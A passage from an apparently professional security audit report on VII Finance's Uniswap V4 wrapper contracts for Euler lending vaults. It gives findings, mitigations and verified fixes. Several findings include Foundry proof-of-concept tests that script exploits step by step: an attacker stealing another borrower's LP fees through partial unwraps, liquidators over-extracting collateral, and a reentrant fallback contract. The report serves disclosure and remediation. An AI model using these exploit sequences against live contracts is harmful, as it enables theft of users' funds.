+        amount0 = token0BalanceBefore - targetPoolKey.currency0.balanceOf(owner);
+        amount1 = token1BalanceBefore - targetPoolKey.currency1.balanceOf(owner);
+    }
```

```
     function swapExactInput(address swapper, address tokenIn, address tokenOut, uint256 inputAmount)
         internal
@@ -313,6 +343,34 @@ contract UniswapV4WrapperTest is Test, UniswapBaseTest {
             borrower
         );
     }
+
+    function boundLiquidityParamsAndMint(LiquidityParams memory params, address _borrower)
+        internal
+        returns (uint256 tokenIdMinted, uint256 amount0Spent, uint256 amount1Spent)
+    {
+        params.liquidityDelta = bound(params.liquidityDelta, 10e18, 10_000e18);
+        (uint160 sqrtRatioX96,,,) = poolManager.getSlot0(poolId);
+        params = createFuzzyLiquidityParams(params, poolKey.tickSpacing, sqrtRatioX96);
+
+        (uint256 estimatedAmount0Required, uint256 estimatedAmount1Required) =
↪  LiquidityAmounts.getAmountsForLiquidity(
+            sqrtRatioX96,
+            TickMath.getSqrtPriceAtTick(params.tickLower),
+            TickMath.getSqrtPriceAtTick(params.tickUpper),
+            uint128(uint256(params.liquidityDelta))
+        );
+
+        startHoax(_borrower);
+
+        (tokenIdMinted, amount0Spent, amount1Spent) = mintPosition(
+            poolKey,
+            params.tickLower,
+            params.tickUpper,
+            estimatedAmount0Required,
+            estimatedAmount1Required,
+            uint256(params.liquidityDelta),
+            _borrower
+        );
+    }

     function testGetSqrtRatioX96() public view {
         uint256 fixedDecimals = 10 ** 18;
@@ -418,6 +476,109 @@ contract UniswapV4WrapperTest is Test, UniswapBaseTest {
         assertApproxEqAbs(poolKey.currency1.balanceOf(borrower), amount1BalanceBefore + amount1Spent,
         ↪  1);
     }

+    function test_feeTheftPoC() public {
+       int256 liquidityDelta = -19999;
+       uint256 swapAmount = 100_000 * unit0;
+
+       LiquidityParams memory params = LiquidityParams({
+           tickLower: TickMath.MIN_TICK + 1,
+           tickUpper: TickMath.MAX_TICK - 1,
+           liquidityDelta: liquidityDelta
+       });
+
+       // 1. create position on behalf of borrower
+       (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
+
+       address attacker = makeAddr("attacker");
+       deal(token0, attacker, 100 * unit0);
+       deal(token1, attacker, 100 * unit1);
+       startHoax(attacker);
+       SafeERC20.forceApprove(IERC20(token0), address(router), type(uint256).max);
+       SafeERC20.forceApprove(IERC20(token1), address(router), type(uint256).max);
```

```
+       SafeERC20.forceApprove(IERC20(token0), address(mintPositionHelper), type(uint256).max);
+       SafeERC20.forceApprove(IERC20(token1), address(mintPositionHelper), type(uint256).max);
+
+       // 2. create position on behalf of attacker
+       (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params, attacker);
+
+       // 3. wrap and enable tokenId1 for borrower
+       startHoax(borrower);
+       wrapper.underlying().approve(address(wrapper), tokenId1);
+       wrapper.wrap(tokenId1, borrower);
+       wrapper.enableTokenIdAsCollateral(tokenId1);
+
+       // 4. wrap and enable tokenId2 for attacker
+       startHoax(attacker);
+       wrapper.underlying().approve(address(wrapper), tokenId2);
+       wrapper.wrap(tokenId2, attacker);
+       wrapper.enableTokenIdAsCollateral(tokenId2);
+
+       // 5. swap so that some fees are generated for tokenId1 and tokenId2
+       swapExactInput(borrower, address(token0), address(token1), swapAmount);
+
+       (uint256 expectedFees0Position1, uint256 expectedFees1Position1) =
+           MockUniswapV4Wrapper(payable(address(wrapper))).pendingFees(tokenId1);
+
+       (uint256 expectedFees0Position2, uint256 expectedFees1Position2) =
+           MockUniswapV4Wrapper(payable(address(wrapper))).pendingFees(tokenId2);
+
+       console.log("Expected Fees Position 1: %s, %s", expectedFees0Position1, expectedFees1Position1);
+       console.log("Expected Fees Position 2: %s, %s", expectedFees0Position2, expectedFees1Position2);
+
+       // 6. unwrap 10% of tokenId1 for borrower which causes fees to be transferred to wrapper
+       startHoax(borrower);
+       wrapper.unwrap(
+           borrower,
+           tokenId1,
+           borrower,
+           wrapper.balanceOf(borrower, tokenId1) / 10,
+           bytes("")
+       );
+
+       console.log("Wrapper balance of currency0: %s", currency0.balanceOf(address(wrapper)));
+       console.log("Wrapper balance of currency1: %s", currency1.balanceOf(address(wrapper)));
+
+       // 7. attacker fully unwraps tokenId2 through partial unwrap
+       startHoax(attacker);
+       wrapper.unwrap(
+           attacker,
+           tokenId2,
+           attacker,
+           wrapper.FULL_AMOUNT(),
+           bytes("")
+       );
+
+       console.log("Wrapper balance of currency0: %s", currency0.balanceOf(address(wrapper)));
+       console.log("Wrapper balance of currency1: %s", currency1.balanceOf(address(wrapper)));
+
+       // 8. attacker recovers tokenId2 position
+       wrapper.unwrap(
+           attacker,
+           tokenId2,
+           attacker
+       );
+
```

```
+       // 9. attacker increases liquidity for tokenId2
+       IERC721(wrapper.underlying()).approve(address(mintPositionHelper), tokenId2);
+       increasePosition(poolKey, tokenId2, 1000, type(uint96).max, type(uint96).max, attacker);
+
+       // 10. attacker wraps tokenId2 again
+       wrapper.underlying().approve(address(wrapper), tokenId2);
+       wrapper.wrap(tokenId2, attacker);
+
+       // 11. attacker steals borrower's fees by partially unwrapping tokenId2 again
+       wrapper.unwrap(
+           attacker,
+           tokenId2,
+           attacker,
+           wrapper.FULL_AMOUNT() * 9 / 10,
+           bytes("")
+       );
+
+       console.log("Wrapper balance of currency0: %s", currency0.balanceOf(address(wrapper)));
+       console.log("Wrapper balance of currency1: %s", currency1.balanceOf(address(wrapper)));
+
+       // 12. borrower tries to unwrap a further 10% of tokenId1 but it reverts because the owed fees
↪  were stolen
+       // startHoax(borrower);
+       // wrapper.unwrap(
+       //     borrower,
+       //     tokenId1,
+       //     borrower,
+       //     wrapper.FULL_AMOUNT() / 10,
+       //     bytes("")
+       // );
+    }
+
     function testFuzzFeeMath(int256 liquidityDelta, uint256 swapAmount) public {
         LiquidityParams memory params = LiquidityParams({
             tickLower: TickMath.MIN_TICK + 1,
--
2.40.0
```

**Recommended Mitigation:** Decrement the `tokensOwed` state for a given ERC-6909 `tokenId` once the corresponding fees have been have been collected:

```
function _unwrap(address to, uint256 tokenId, uint256 amount, bytes calldata extraData) internal
↪  override {
       PositionState memory positionState = _getPositionState(tokenId);

       ...

+      uint256 proportionalFee0 =  proportionalShare(tokenId, tokensOwed[tokenId].fees0Owed, amount);
+      uint256 proportionalFee1 =  proportionalShare(tokenId, tokensOwed[tokenId].fees1Owed, amount);
+      tokensOwed[tokenId].fees0Owed -= proportionalFee0;
+      tokensOwed[tokenId].fees1Owed -= proportionalFee1;
-      poolKey.currency0.transfer(to, amount0 + proportionalShare(tokenId,
↪  tokensOwed[tokenId].fees0Owed, amount));
-      poolKey.currency1.transfer(to, amount1 + proportionalShare(tokenId,
↪  tokensOwed[tokenId].fees1Owed, amount));
+      poolKey.currency0.transfer(to, amount0 + proportionalFee0);
+      poolKey.currency1.transfer(to, amount1 + proportionalFee1);
   }
```

**VII Finance:** Fixed in commit 8c6b6cc.

**Cyfrin:** Verified. The `tokensOwed` state is now decremented following partial unwrap. Note that to strictly conform

to the Checks-Effects-Interactions pattern this should occur before the external transfer calls (modified in commit 88c9eec).

### 7.2.2 More value can be extracted by liquidations than expected due to incorrect transfer calculations when the violator does not own the total ERC-6909 supply for each `tokenId` enabled as collateral

**Description:** Given that the `UniswapV3Wrapper` and `UniswapV4Wrapper` contracts are not typical EVK vault collateral, it is necessary to have some method for calculating how much of the claim on the underlying collateral needs to be transferred from sender to receiver when a share transfer is execution. In the context of liquidation, this transfer is made from the violator to liquidator; however, note that it is also necessary to implement this functionality for transfers in the usual context.

This is achieved by `ERC721WrapperBase::transfer` which allows the caller to specify the amount to transfer in terms of the underlying collateral value:

```
/// @notice For regular EVK vaults, it transfers the specified amount of vault shares from the sender to
↪  the receiver
/// @dev For ERC721WrapperBase, transfers a proportional amount of ERC6909 tokens (calculated as
↪  totalSupply(tokenId) * amount / balanceOf(sender)) for each enabled tokenId from the sender to the
↪  receiver.
/// @dev no need to check if sender is being liquidated, sender can choose to do this at any time
/// @dev When calculating how many ERC6909 tokens to transfer, rounding is performed in favor of the
↪  sender (typically the violator).
/// @dev This means that the sender may end up with a slightly larger amount of ERC6909 tokens than
↪  expected, as the rounding is done in their favor.
function transfer(address to, uint256 amount) external callThroughEVC returns (bool) {
    address sender = _msgSender();
    uint256 currentBalance = balanceOf(sender);

    uint256 totalTokenIds = totalTokenIdsEnabledBy(sender);

    for (uint256 i = 0; i < totalTokenIds; ++i) {
        uint256 tokenId = tokenIdOfOwnerByIndex(sender, i);
        _transfer(sender, to, tokenId, normalizedToFull(tokenId, amount, currentBalance)); //this
        ↪  concludes the liquidation. The liquidator can come back to do whatever they want with the
        ↪  ERC6909 tokens
    }
    return true;
}
```

Here, `balanceOf(sender)` returns the sum value of each `tokenId` in `unitOfAccount` terms which is in turn used by `normalizedToFull()` to calculate the proportional amount of each ERC-6909 token enabled as collateral by the sender that should be transferred. These calculations work as intended when a sender owns the total ERC-6909 token supply for a given `tokenId`; however, this breaks if the sender owns less than 100% of a given `tokenId` and results in the corresponding calculations of ERC-6909 tokens to transfer being larger than they should be. This ultimately leads to the liquidator extracting more value in `unitOfAccount` than requested.

The source of this error is in the `normalizedToFull()` function:

```
function normalizedToFull(uint256 tokenId, uint256 amount, uint256 currentBalance) public view returns
↪  (uint256) {
    // @audit => multiplying by the total ERC-6909 supply of the specified tokenId is incorrect
    return Math.mulDiv(amount, totalSupply(tokenId), currentBalance);
}
```

Here, the total supply of ERC-6909 tokens of the specified `tokenId` is erroneously used in the multiplication when this should instead be normalized to the actual amount of ERC-6909 tokens owned by the user.

**Impact:** More value can be extracted by liquidations than expected, causing the liquidated accounts to incur larger losses. This can occur by repeated partial liquidation or in the scenario a borrower transfers a portion of their position to a separate account.

**Proof of Concept:** As demonstrated by the below PoCs, the liquidator receives more value than expected when transferring the specified amount of value from a user who doesn't own 100% of the ERC-6909 supply for all `tokenIds` enabled as collateral.

This first PoC demonstrates the scenario when transferring an amount of value from a **user who owns 100% of the ERC-6909 supply for all** `tokenIds` **enabled as collateral**. Here, the transfer works as expected and the liquidator receives the correct share of each collateral:

```
function test_transferExpectedPoC() public {
    int256 liquidityDelta = -19999;

    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: liquidityDelta
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
    (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId1, borrower);
    wrapper.wrap(tokenId2, borrower);
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.enableTokenIdAsCollateral(tokenId2);
    address borrower2 = makeAddr("borrower2");

    // @audit-info => borrower owns a 100% of ERC-6909 supply of each tokenId
    uint256 beforeLiquidationBalanceOfBorrower1 = wrapper.balanceOf(borrower);

    address liquidator = makeAddr("liquidator");
    uint256 transferAmount = beforeLiquidationBalanceOfBorrower1 / 2;
    wrapper.transfer(liquidator, transferAmount);

    uint256 finalBalanceOfBorrower1 = wrapper.balanceOf(borrower);

    // @audit-info => liquidated borrower got seized the exact amount of assets requested by the
    ↪  liquidator
    startHoax(liquidator);
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.enableTokenIdAsCollateral(tokenId2);

    assertApproxEqAbs(wrapper.balanceOf(liquidator), transferAmount, ALLOWED_PRECISION_IN_TESTS);
}
```

However, this second PoC demonstrates the scenario when transferring an amount of value from a **user who doesn't own 100% of the ERC-6909 supply for all** `tokenIds` **enabled as collateral**. In this case, the transfer does not work as expected and the actual amount of value transferred to the liquidator is more than what was requested:

```
function test_transferUnexpectedPoC() public {
    int256 liquidityDelta = -19999;

    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: liquidityDelta
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
    (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params);
```

```
    startHoax(borrower);
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId1, borrower);
    wrapper.wrap(tokenId2, borrower);
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.enableTokenIdAsCollateral(tokenId2);
    address borrower2 = makeAddr("borrower2");

    // @audit-info => liquidated borrower doesn't own 100% of both tokenIds
    wrapper.transfer(borrower2, tokenId1, wrapper.FULL_AMOUNT() / 2);

    uint256 beforeLiquidationBalanceOfBorrower1 = wrapper.balanceOf(borrower);

    address liquidator = makeAddr("liquidator");
    uint256 transferAmount = beforeLiquidationBalanceOfBorrower1 / 2;
    wrapper.transfer(liquidator, transferAmount);

    uint256 finalBalanceOfBorrower1 = wrapper.balanceOf(borrower);

    startHoax(liquidator);
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.enableTokenIdAsCollateral(tokenId2);

    // @audit-issue => because liquidated borrower did not have 100% of shares for both tokenIds, the
    ↪  liquidator earned more than requested
    //@audit-issue => liquidated borrower got seized more assets than they should have
    assertApproxEqAbs(wrapper.balanceOf(liquidator), transferAmount, ALLOWED_PRECISION_IN_TESTS);
}
```

**Recommended Mitigation:** On the `normalizedToFull()`, change the formula as follows:

```
    function normalizedToFull(uint256 tokenId, uint256 amount, uint256 currentBalance) public view
    ↪  returns (uint256) {
-       return Math.mulDiv(amount, totalSupply(tokenId), currentBalance);
+       return Math.mulDiv(amount, balanceOf(_msgSender(), tokenId), currentBalance);
    }
```

**VII Finance:** Fixed in commit b7549f2.

**Cyfrin:** Verified. The sender's actual balance of `tokenId` is now used in normalization instead of the ERC-6909 total supply.

## 7.3 Medium Risk

### 7.3.1 Fees can become stuck in `UniswapV4Wrapper`

**Description:** When a modification is made to Uniswap V4 position liquidity, such as in the case of a partial `UniswapV4Wrapper` unwrap which decreases liquidity, any outstanding fees are also transferred and required to be completely settled. For multiple holders of a given ERC-6909 `tokenId`, a proportional share is escrowed and paid out during a given holder's next interaction with the wrapper contract. However, there exists an edge case in which fees can become stuck in `UniswapV4Wrapper` if the final holder performs a full unwrap through the overload which transfers the underlying position directly to the caller.

Consider the following scenario:

- Alice has full ownership of a position `tokenId1`.
- Assume LP fees have accrued in the position.
- Alice partially unwraps `tokenId1` to remove a portion of the underlying liquidity.
- This accrues LP fees corresponding to the remainder of the position to the `UniswapV4Wrapper`.
- Alice max borrows and later gets fully liquidated.
- The liquidator fully unwraps the `tokenId1` position and received the underlying NFT but loses their share of the previously-accrued fees.
- The liquidator removes all the liquidity of the underlying position they received for the full liquidation, and burns the position.
- As a result, it is impossible to retrieve the fees remaining in the wrapper because the position has been burnt and is impossible to mint the same `tokenId` again.

**Impact:** LP fees can become stuck in the `UniswapV4Wrapper` contract under certain edge cases. This loss has medium/high impact with medium likelihood.

**Proof of Concept:** The following test is a simplified demonstration of the issue:

```
function test_finalLosesFeesPoC() public {
    int256 liquidityDelta = -19999;
    uint256 swapAmount = 100_000 * unit0;

    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: liquidityDelta
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, borrower);
    wrapper.enableTokenIdAsCollateral(tokenId1);
    address borrower2 = makeAddr("borrower2");
    wrapper.transfer(borrower2, tokenId1, wrapper.FULL_AMOUNT() * 5 / 10);

    //swap so that some fees are generated
    swapExactInput(borrower, address(token0), address(token1), swapAmount);

    (uint256 expectedFees0Position1, uint256 expectedFees1Position1) =
        MockUniswapV4Wrapper(payable(address(wrapper))).pendingFees(tokenId1);

    console.log("Expected Fees Position 1: %s, %s", expectedFees0Position1, expectedFees1Position1);

    startHoax(borrower);
    wrapper.unwrap(
```

```
        borrower,
        tokenId1,
        borrower,
        wrapper.balanceOf(borrower, tokenId1),
        bytes("")
    );

    console.log("Wrapper balance of currency0: %s", currency0.balanceOf(address(wrapper)));

    startHoax(borrower2);
    wrapper.unwrap(borrower2, tokenId1, borrower2);

    console.log("Wrapper balance of currency0: %s", currency0.balanceOf(address(wrapper)));
    if (currency0.balanceOf(address(wrapper)) > 0 && wrapper.totalSupply(tokenId1) == 0) {
        console.log("Fees stuck in wrapper!");
    }
}
```

**Recommended Mitigation:** Check whether there are any outstanding fees accrued for a given `tokenId` when performing a full unwrap and transfer these to the recipient along with the underlying NFT. This would also have the added benefit of avoiding dust accumulating in the contract which may arise from floor rounding during proportional share calculations using small ERC-6909 balances.

**VII Finance:** Fixed in commit bf5f099.

**Cyfrin:** Verified. Fees are now fully settled when performing a full unwrap.

### 7.3.2 Rounding in favor of the violator can subject liquidators to losses during partial liquidation

**Description:** Currently, `ERC721WrapperBase::transfer` rounds in favor of the sender, or in the context of liquidation in favor of the violator:

```
/// @notice For regular EVK vaults, it transfers the specified amount of vault shares from the sender to
↪  the receiver
/// @dev For ERC721WrapperBase, transfers a proportional amount of ERC6909 tokens (calculated as
↪  totalSupply(tokenId) * amount / balanceOf(sender)) for each enabled tokenId from the sender to the
↪  receiver.
/// @dev no need to check if sender is being liquidated, sender can choose to do this at any time
/// @dev When calculating how many ERC6909 tokens to transfer, rounding is performed in favor of the
↪  sender (typically the violator).
/// @dev This means that the sender may end up with a slightly larger amount of ERC6909 tokens than
↪  expected, as the rounding is done in their favor.
function transfer(address to, uint256 amount) external callThroughEVC returns (bool) {
    address sender = _msgSender();
    uint256 currentBalance = balanceOf(sender);

    uint256 totalTokenIds = totalTokenIdsEnabledBy(sender);

    for (uint256 i = 0; i < totalTokenIds; ++i) {
        uint256 tokenId = tokenIdOfOwnerByIndex(sender, i);
        _transfer(sender, to, tokenId, normalizedToFull(tokenId, amount, currentBalance)); //this
        ↪  concludes the liquidation. The liquidator can come back to do whatever they want with the
        ↪  ERC6909 tokens
    }
    return true;
}
```

This stems from the usage of `Math::mulDiv` in `ERC721WrapperBase` which performs floor rounding when calculating the normalized amount of ERC-6909 token to transfer for the given sender's underlying collateral value:

```
function normalizedToFull(uint256 tokenId, uint256 amount, uint256 currentBalance) public view returns
↪  (uint256) {
```

```
    return Math.mulDiv(amount, totalSupply(tokenId), currentBalance);
}
```

However, this behavior can be leveraged by a malicious actor to inflate the value of their position. Considering the scenario in which a borrower enables multiple `tokenIds` as collateral, this is possible is they unwrap all but 1 wei of the ERC-6909 token balance for a given `tokenId`. This can also occur when one of the `tokenIds` is fully transferred per the proportional calculation by an earlier partial liquidation. In both cases, this leaves behind 1 wei due to rounding which can cause issues during subsequent liquidation.

Note that it is not possible to inflate the value of 1 wei of ERC-6909 token by adding liquidity to the underlying position since atomically unwrapping the full position, adding liquidity, and rewrapping (as required due to access control implemented by Uniswap when modifying liquidity owned by another account) would result in the `FULL_AMOUNT` of ERC-6909 tokens being minted again. It is, however, possible to leverage fee accrual from donations and swaps, which contributes to the value of the position, to inflate 1 wei in this manner.

Rounding should therefore be done in favor of the liquidator to avoid the scenario in which they are forced to either perform a full liquidation or sustain losses due to a partial liquidation in which they receive no ERC-6909 tokens.

**Impact:** Liquidators can be subject to losses during partial liquidation, especially if there has been significant fee accrual to the underlying Uniswap position in the time after the ERC-6909 token supply is reduced to 1 wei.

**Proof of Concept:** Run the following tests with `forge test --mt test_transferRoundingPoC -vvv`:

- Without the transfer inflation fix applied as described in H-02, the floor rounding setup can be observed in this first test:

```
function test_transferRoundingPoC_currentTransfer() public {
    address borrower2 = makeAddr("borrower2");

    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: -19999
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
    (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);

    // 1. borrower wraps tokenId1
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, borrower);
    wrapper.enableTokenIdAsCollateral(tokenId1);

    // 2. borrower sends some of tokenId1 to borrower2
    wrapper.transfer(borrower2, wrapper.balanceOf(borrower) / 2);

    // 3. borrower wraps tokenId2
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId2, borrower);
    wrapper.enableTokenIdAsCollateral(tokenId2);

    // 4. borrower max borrows from vault
    evc.enableCollateral(borrower, address(wrapper));
    evc.enableController(borrower, address(eVault));
    eVault.borrow(type(uint256).max, borrower);

    vm.warp(block.timestamp + eVault.liquidationCoolOffTime());

    (uint256 maxRepay, uint256 yield) = eVault.checkLiquidation(liquidator, borrower, address(wrapper));
    assertEq(maxRepay, 0);
    assertEq(yield, 0);
```

```
    // 5. simulate borrower becoming partially liquidatable
    startHoax(IEulerRouter(address(oracle)).governor());
    IEulerRouter(address(oracle)).govSetConfig(
        address(wrapper),
        unitOfAccount,
        address(
            new FixedRateOracle(
                address(wrapper),
                unitOfAccount,
                1
            )
        )
    );

    (maxRepay, yield) = eVault.checkLiquidation(liquidator, borrower, address(wrapper));
    assertTrue(maxRepay > 0);

    // 6. liquidator partially liquidates borrower
    startHoax(liquidator);
    evc.enableCollateral(liquidator, address(wrapper));
    evc.enableController(liquidator, address(eVault));
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.enableTokenIdAsCollateral(tokenId2);
    eVault.liquidate(borrower, address(wrapper), maxRepay / 2, 0);

    console.log("balanceOf(borrower, tokenId1): %s", wrapper.balanceOf(borrower, tokenId1));
    console.log("balanceOf(borrower, tokenId2): %s", wrapper.balanceOf(borrower, tokenId2));
}
```

- Assuming the H-02 fix is applied, losses to the liquidator during partial liquidations due to rounding in favor of the violator can be observed in the following test:

```
function test_transferRoundingPoC_transferFixed() public {
    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: -19999
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
    (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);

    // 1. borrower wraps tokenId1
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, borrower);
    wrapper.enableTokenIdAsCollateral(tokenId1);

    // 2. borrower unwraps all but 1 wei of tokenId1
    wrapper.unwrap(
        borrower,
        tokenId1,
        borrower,
        wrapper.FULL_AMOUNT() - 1,
        bytes("")
    );

    // 3. borrower wraps tokenId2
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId2, borrower);
    wrapper.enableTokenIdAsCollateral(tokenId2);
```

```
    // 4. borrower max borrows from vault
    evc.enableCollateral(borrower, address(wrapper));
    evc.enableController(borrower, address(eVault));
    eVault.borrow(type(uint256).max, borrower);

    vm.warp(block.timestamp + eVault.liquidationCoolOffTime());

    (uint256 maxRepay, uint256 yield) = eVault.checkLiquidation(liquidator, borrower, address(wrapper));
    assertEq(maxRepay, 0);
    assertEq(yield, 0);

    // 5. swap to accrue fees
    swapExactInput(borrower, address(token0), address(token1), 100 * unit0);

    // 6. simulate borrower becoming partially liquidatable
    startHoax(IEulerRouter(address(oracle)).governor());
    IEulerRouter(address(oracle)).govSetConfig(
        address(wrapper),
        unitOfAccount,
        address(
            new FixedRateOracle(
                address(wrapper),
                unitOfAccount,
                1
            )
        )
    );

    (maxRepay, yield) = eVault.checkLiquidation(liquidator, borrower, address(wrapper));
    assertTrue(maxRepay > 0);

    // 7. liquidator partially liquidates borrower but receives no tokenId1
    startHoax(liquidator);
    evc.enableCollateral(liquidator, address(wrapper));
    evc.enableController(liquidator, address(eVault));
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.enableTokenIdAsCollateral(tokenId2);

    uint256 liquidatorBalanceOfTokenId1Before = wrapper.balanceOf(liquidator, tokenId1);
    uint256 liquidatorBalanceOfTokenId2Before = wrapper.balanceOf(liquidator, tokenId2);
    eVault.liquidate(borrower, address(wrapper), maxRepay / 2, 0);
    uint256 liquidatorBalanceOfTokenId1After = wrapper.balanceOf(liquidator, tokenId1);
    uint256 liquidatorBalanceOfTokenId2After = wrapper.balanceOf(liquidator, tokenId2);

    console.log("balanceOf(borrower, tokenId1): %s", wrapper.balanceOf(borrower, tokenId1));
    console.log("balanceOf(borrower, tokenId2): %s", wrapper.balanceOf(borrower, tokenId2));

    console.log("liquidatorBalanceOfTokenId1Before: %s", liquidatorBalanceOfTokenId1Before);
    console.log("liquidatorBalanceOfTokenId1After: %s", liquidatorBalanceOfTokenId1After);

    console.log("liquidatorBalanceOfTokenId2Before: %s", liquidatorBalanceOfTokenId2Before);
    console.log("liquidatorBalanceOfTokenId2After: %s", liquidatorBalanceOfTokenId2After);

    assertGt(liquidatorBalanceOfTokenId1After, liquidatorBalanceOfTokenId1Before);
    assertGt(liquidatorBalanceOfTokenId2After, liquidatorBalanceOfTokenId2Before);
}
```

**Recommended Mitigation:** Consider rounding in favor of the liquidator:

```
    function normalizedToFull(uint256 tokenId, uint256 amount, uint256 currentBalance) public view
    ↪  returns (uint256) {
-       return Math.mulDiv(amount, totalSupply(tokenId), currentBalance);
```

```
+         return Math.mulDiv(amount, balanceOf(_msgSender(), tokenId), currentBalance,
↪   Math.Rounding.Ceil);
    }
```

Also consider preventing liquidators from executing liquidations of zero value to avoid scenarios in which they can repeatedly extract 1 wei of a high-value position from the violator.

**VII Finance:** Fixed in commit 5e825d5.

**Cyfrin:** Verified. Transfers now round up in favor of the receiver (typically the liquidator). Note that liquidators are still not explicitly prevented from executing liquidations of zero value.

**VII Finance:** When liquidation happens, the Euler vault associated with borrowed token, asks EVC to manipulate the injected `_msgSender()` to be violator and call transfer function with to = liquidator and amount = whatever liquidator deserves for taking on violator's debt. As far as the wrapper is concerned, zero value liquidation is just a zero value transfer. The wrapper allows it the same way any other Euler vault that follow ERC20 standard allows for zero value transfers. We don't see a need for preventing the zero value transfers.

**Cyfrin:** Acknowledged.

## 7.4 Low Risk

### 7.4.1 Unsafe external calls made during proportional LP fee transfers can be used to reenter wrapper contracts

**Description:** `ERC721WrapperBase` exposes two overloads of the `unwrap()` function to perform full and partial unwrap of the ERC-6909 position for a given `tokenId`. The partial unwrap is used to burn a specified amount of ERC-6909 tokens from the caller and handles proportional distribution of LP fees between all ERC-6909 holders through the virtual `_unwrap()` function, transferring tokens directly from the `UniswapV3Pool` and `PoolManager` for `UniswapV3Wrapper` and `UniswapV4Wrapper` respectively:

```
function unwrap(address from, uint256 tokenId, address to, uint256 amount, bytes calldata extraData)
    external
    callThroughEVC
{
    _unwrap(to, tokenId, amount, extraData);
    // @audit - native ETH/ERC-777 token can be used to reenter here
    _burnFrom(from, tokenId, amount);
}
```

For wrappers configured to use underlying positions that contain either tokens with transfer hooks (e.g. ERC-777) or native ETH in the case of Uniswap V4, the external call can be leveraged by the user-supplied `to` address to reenter execution before the sender's balance and the ERC-6909 token total supply is decreased.

Note that this is possible despite the application of the `callThroughEVC()` modifier. Execution ends up in `EthereumVaultConnector::call` which itself has the `nonReentrantChecksAndControlCollateral()` modifier applied; however, at this point control collateral is not in progress checks are deferred within the execution context, meaning it is possible to bypass the reverts in the modifier:

```
/// @notice A modifier that verifies whether account or vault status checks are re-entered as well as
↪  checks for
/// controlCollateral re-entrancy.
modifier nonReentrantChecksAndControlCollateral() {
    {
        EC context = executionContext;

        if (context.areChecksInProgress()) {
            revert EVC_ChecksReentrancy();
        }

        if (context.isControlCollateralInProgress()) {
            revert EVC_ControlCollateralReentrancy();
        }
    }

    _;
}
```

**Impact:** The likelihood of this issue is medium/high since Uniswap V4 has support for native ETH which is commonly used as collateral across DeFi protocols. The impact is more difficult to quantify as it does not appear possible to leverage this reentrancy to bypass the vault protections for an undercollateralized borrow, due to reverts in deferred checks after the ERC-6909 burn with `E_AccountLiquidity()`, or otherwise break the ERC-6909 accounting. Recursive partial unwraps also appear to be unprofitable for an attacker.

**Proof of Concept:** Apply the following patch and execute `forge test --mt test_reentrancyPoC -vvv`:

```
---
 .../test/uniswap/UniswapV4Wrapper.t.sol       | 95 ++++++++++++++++++++-
 1 file changed, 94 insertions(+), 1 deletion(-)

diff --git a/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
↪  b/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
```

```
index 2fce3ed..d9eaf45 100644
--- a/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
+++ b/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
@@ -40,6 +40,46 @@ import {UniswapMintPositionHelper} from "src/uniswap/periphery/UniswapMintPositi
 import {ActionConstants} from "lib/v4-periphery/src/libraries/ActionConstants.sol";
 import {Math} from "lib/openzeppelin-contracts/contracts/utils/math/Math.sol";

+contract ReentrantBorrower {
+    bool entered;
+    ERC721WrapperBase wrapper;
+    uint256 tokenId;
+    IEVault eVault;
+    IEVC evc;
+
+    fallback() external payable {
+        if (!entered && address(wrapper) != address(0) && tokenId != 0 && address(eVault) !=
↪  address(0)) {
+            console.log("reentrancy");
+            entered = true;
+
+            bool checksInProgress = evc.areChecksInProgress();
+            bool checksDeferred = evc.areChecksDeferred();
+            bool controlCollateralInProgress = evc.isControlCollateralInProgress();
+
+            assert(!checksInProgress);
+            assert(checksDeferred);
+            assert(!controlCollateralInProgress);
+
+            eVault.borrow(type(uint256).max, address(this));
+
+        }
+    }
+
+    function setEnabled(ERC721WrapperBase _wrapper, uint256 _tokenId, IEVault _eVault, IEVC _evc)
↪  external {
+        wrapper = _wrapper;
